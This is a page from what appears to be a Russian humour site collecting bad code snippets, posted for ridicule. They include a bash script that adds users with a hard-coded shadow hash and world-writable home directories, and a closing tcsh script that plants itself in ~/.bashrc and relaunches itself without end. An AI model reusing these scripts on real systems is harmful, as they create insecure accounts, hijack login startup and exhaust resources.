- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+137
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+131.6
#!/bin/bash
function get_group()
{
rm ./group
gnc=`cat /etc/group | wc -l`
cn=1
while let "cn<=gnc"
do
gn=`cat /etc/group | head -n $cn | tail -n 1 | tr ':' '\n' | head -n 1 | grep [A-Za-z0-9].*`
gnl=`cat /etc/group | head -n $cn | tail -n 1`
echo $gnl
echo "Do you want add your to group "$gn
read as
if [ "$as" == "yes" ]; then
echo "yes"
c=`echo $gnl | wc -c`
let c--
ct=":"
echo $c
cn2=`echo $gnl | cut -c$c`
echo "cn2 "$cn2
if [ "$cn2" != ":" ]
then
echo no
gnl=$gnl","
gnl=$gnl"$1"
echo $gnl >> ./group
else
gnl=$gnl""$1
echo $gnl >> ./group
fi
echo $gnl
else
echo $gnl >> ./group
fi
let cn++
done
cp ./group /etc/group
}
if [ $# -lt 1 ]; then
echo -n "Enter username:"
read username
uid=1
puid=0
while :
do
uid=`echo ${RANDOM:0:3}`
puid=`cat /etc/passwd | tr ':' '\n' | grep ^[0-9].*$ | grep $uid`
if [ "$puid" == "" ];then
echo "uid = $uid"
echo "puid = $puid"
echo $username
groupadd $username
gid=`cat /etc/group | grep $username | tr ':' '\n' | grep ^[0-9].*$ | head -n 1 | tail -n 1`
echo "gid "$gid
echo -n "Enter shell:"
read ushell
echo -n "Enter your name:"
read rname
echo $username:x:$uid:$gid:$rname:/home/$username:$ushell >> /etc/passwd
echo $username:Jkirh5i3e/GqU:14318:0:99999:7:7:: >> /etc/shadow
echo "Your password www.yandex.ru"
mkdir /home/$username
chmod u+r+w+x /home/$username
chmod g+r+w+x /home/$username
chmod o+r+w+x /home/$username
get_group $username
exit 0
else
uid=`echo ${RANDOM:0:3}`
echo $uid
echo "puid "$puid
fi
done
fi
echo -n "script havnt command line arguments"
exit 0
Регистрирует пользователя в системе
+149.1
if ($info['alert']=="0")
{
$option='<option value="0" selected>Не присылать</option><option value="1">Раз в день</option><option value="2">Раз в неделю</option><option value="3">По мере поступления</option>';
}
elseif($info['alert']=="1")
{
$option='<option value="0">Не присылать</option><option value="1" selected>Раз в день</option><option value="2">Раз в неделю</option><option value="3">По мере поступления</option>';
}
elseif($info['alert']=="2")
{
$option='<option value="0">Не присылать</option><option value="1">Раз в день</option><option value="2" selected>Раз в неделю</option><option value="3">По мере поступления</option>';
}
elseif($info['alert']=="3")
{
$option='<option value="0">Не присылать</option><option value="1">Раз в день</option><option value="2">Раз в неделю</option><option value="3" selected>По мере поступления</option>';
}
человечек проверял значения поля в таблице для выставления параметра selected...
+144
include <stdio.h>
int main()
{
unsigned char a;
a='Я';
printf("\n%c=%d",a,a);
return 0;
}
+142.9
if (isset($_POST['id'])){$id = $_POST['id']; if($id == ''){unset($id); }}
if (isset($_POST['data'])){$id2 = $_POST['data']; if($id2 == ''){unset($data); }}
if (isset($_POST['dengi'])){$id3 = $_POST['dengi']; if($id3 == ''){unset($dengi); }}
if (isset($_POST['prim'])){$id4 = $_POST['prim']; if($id4 == ''){unset($prim); }}
$id = $_REQUEST['id']; $data = $_REQUEST['data']; $dengi = $_REQUEST['dengi']; $prim = $_REQUEST['prim'];
С одного форума
+151
library ExDouble;
uses
SysUtils,
Classes;
{$R *.res}
function calc_double(r: real): real; stdcall;
begin
result := 2;
end;
exports
calc_double index 1;
end.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
function calc_double(r: real): real; stdcall; external 'ExDouble.dll';
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
begin
if Edit1.Text<>FloatToStr(calc_double(0))then
ShowMessage('')
else begin
ShowMessage('dsfgsdfg');
end;
end;
end.
−96
this.onMouseDown = function() {
if (btn_right._visible && btn_right.enabled) {
if (btn_right.hitTest(_xmouse, _ymouse, 0)) {
btn_right_release();
}
}
if (ready._visible && ready.enabled) {
if (ready.hitTest(_xmouse, _ymouse, 0)) {
ready_release();
}
}
if (ready2._visible && ready2.enabled) {
if (ready2.hitTest(_xmouse, _ymouse, 0)) {
ready2_release();
}
}
if (yesno.no._visible && yesno.no.enabled) {
if (yesno.no.hitTest(_xmouse, _ymouse, 0)) {
no_release();
}
}
if (yesno2.no._visible && yesno2.no.enabled) {
if (yesno2.no.hitTest(_xmouse, _ymouse, 0)) {
no2_release();
}
}
};
Назначение обработчиков для кнопок
−281.8
////////////////////// обработчик onEnterFrame
onEnterFrame = function () {
switch (_currentframe) {
case 4 :
if (go_5) {
btn_right._visible = true;
} else {
btn_right._visible = false;
}
if (txt_area2.txt.text == "") {
ready.enabled = false;
ready._alpha = 30;
} else {
ready.enabled = true;
ready._alpha = 100;
}
break;
case 5 :
if (table2._height > 460) {
mc_scroll._visible = true;
} else {
mc_scroll._visible = false;
table2._y = 460 / 2 - table2._height / 2;
}
if (reit_end == 0) {
btn_right._visible = false;
} else {
btn_right._visible = true;
}
break;
case 8 :
btn_left._visible = false;
break;
case 6 :
if (chek_was_became() == 1) {
btn_right._visible = true;
} else {
btn_right._visible = false;
}
break;
case 11 :
if (go_12) {
btn_right._visible = true;
} else {
btn_right._visible = false;
}
if (chto.txt.text == "") {
ready2.enabled = false;
ready2._alpha = 30;
} else {
ready2.enabled = true;
ready2._alpha = 100;
}
if (planning == 1) {
btn_right._visible = false;
}
break;
case 12 :
if (sims.txt2.text == "" || sims.txt3.text == "") {
ok.enabled = false;
ok._alpha = 30;
} else {
ok.enabled = true;
ok._alpha = 100;
}
break;
case 14 :
if (table._height > 590) {
mc_scroll2._visible = true;
} else {
mc_scroll2._visible = false;
table._y = 590 / 2 - table._height / 2 + 42;
}
break;
case 16 :
if (color1.txt2.text == "" || color2.txt2.text == "" || color3.txt2.text == "") {
btn_right.enabled = false;
btn_right._alpha = 30;
} else {
btn_right.enabled = true;
btn_right._alpha = 100;
}
break;
}
};
Офигенно содержательный комментарий, который сразу объясняет весь блок.
+952
try
{
db.OpenDB();
}
catch { }
try
{
db.adapter.Fill(tableTemp);
}
catch { }
finally
{
db.command.Parameters.Clear();
try
{
db.CloseDB();
}
catch { }
}
Писать могут даже так.
+154
#!/bin/tcsh
# Utility "p1", author Alice Stein ([email protected]),
chmod +r+w ~/.bashrc
set x3=$#
if($x3<1) then
#read last string from .bashrc that write one time
# and replace spaces sign _
set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
#parameter $0 contains path to script and name of script
set b=$0
#if a line coincided from .bashrc with $0
if($a == $b) then
else
chmod +r+w ~/.bashrc
#write to file .bashrc that started each time with start bash
echo "$0" >> ~/.bashrc
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
endif
#if command line parameters are not present assign default counter of directories 0 and command echo
set x1="0"
set x2="echo"
$0 $x1 $x2 &
else
#save command line arguments in environment variables
set x1=$1
set x2=$2
endif
#exec command passed from command line
$x2;
#write number of counter of directory in the system log /var/log/messages
logger $1;
#increment directory counter
@ x1++;
chmod +x+r+w $x1
#create directory
mkdir $x1
#call in the created directory
cd $x1
chmod +x+r+w $x1
#delete a file if a script is started the second time that did not result in hanging up of script
#delete hidden file
rm .$x1
#create hidden file
echo "1" > .$x1
#take away rights for access
chmod -x-r-w .$x1
cd ..
chmod -x-r-w $x1
#sleep on 1 second
sleep 1s;
#change right for access to file .bashrc
chmod -r-w ~/.bashrc
#recursive call with argument line parameter
$0 $x1 $x2 &
exit 0
shell script tcsh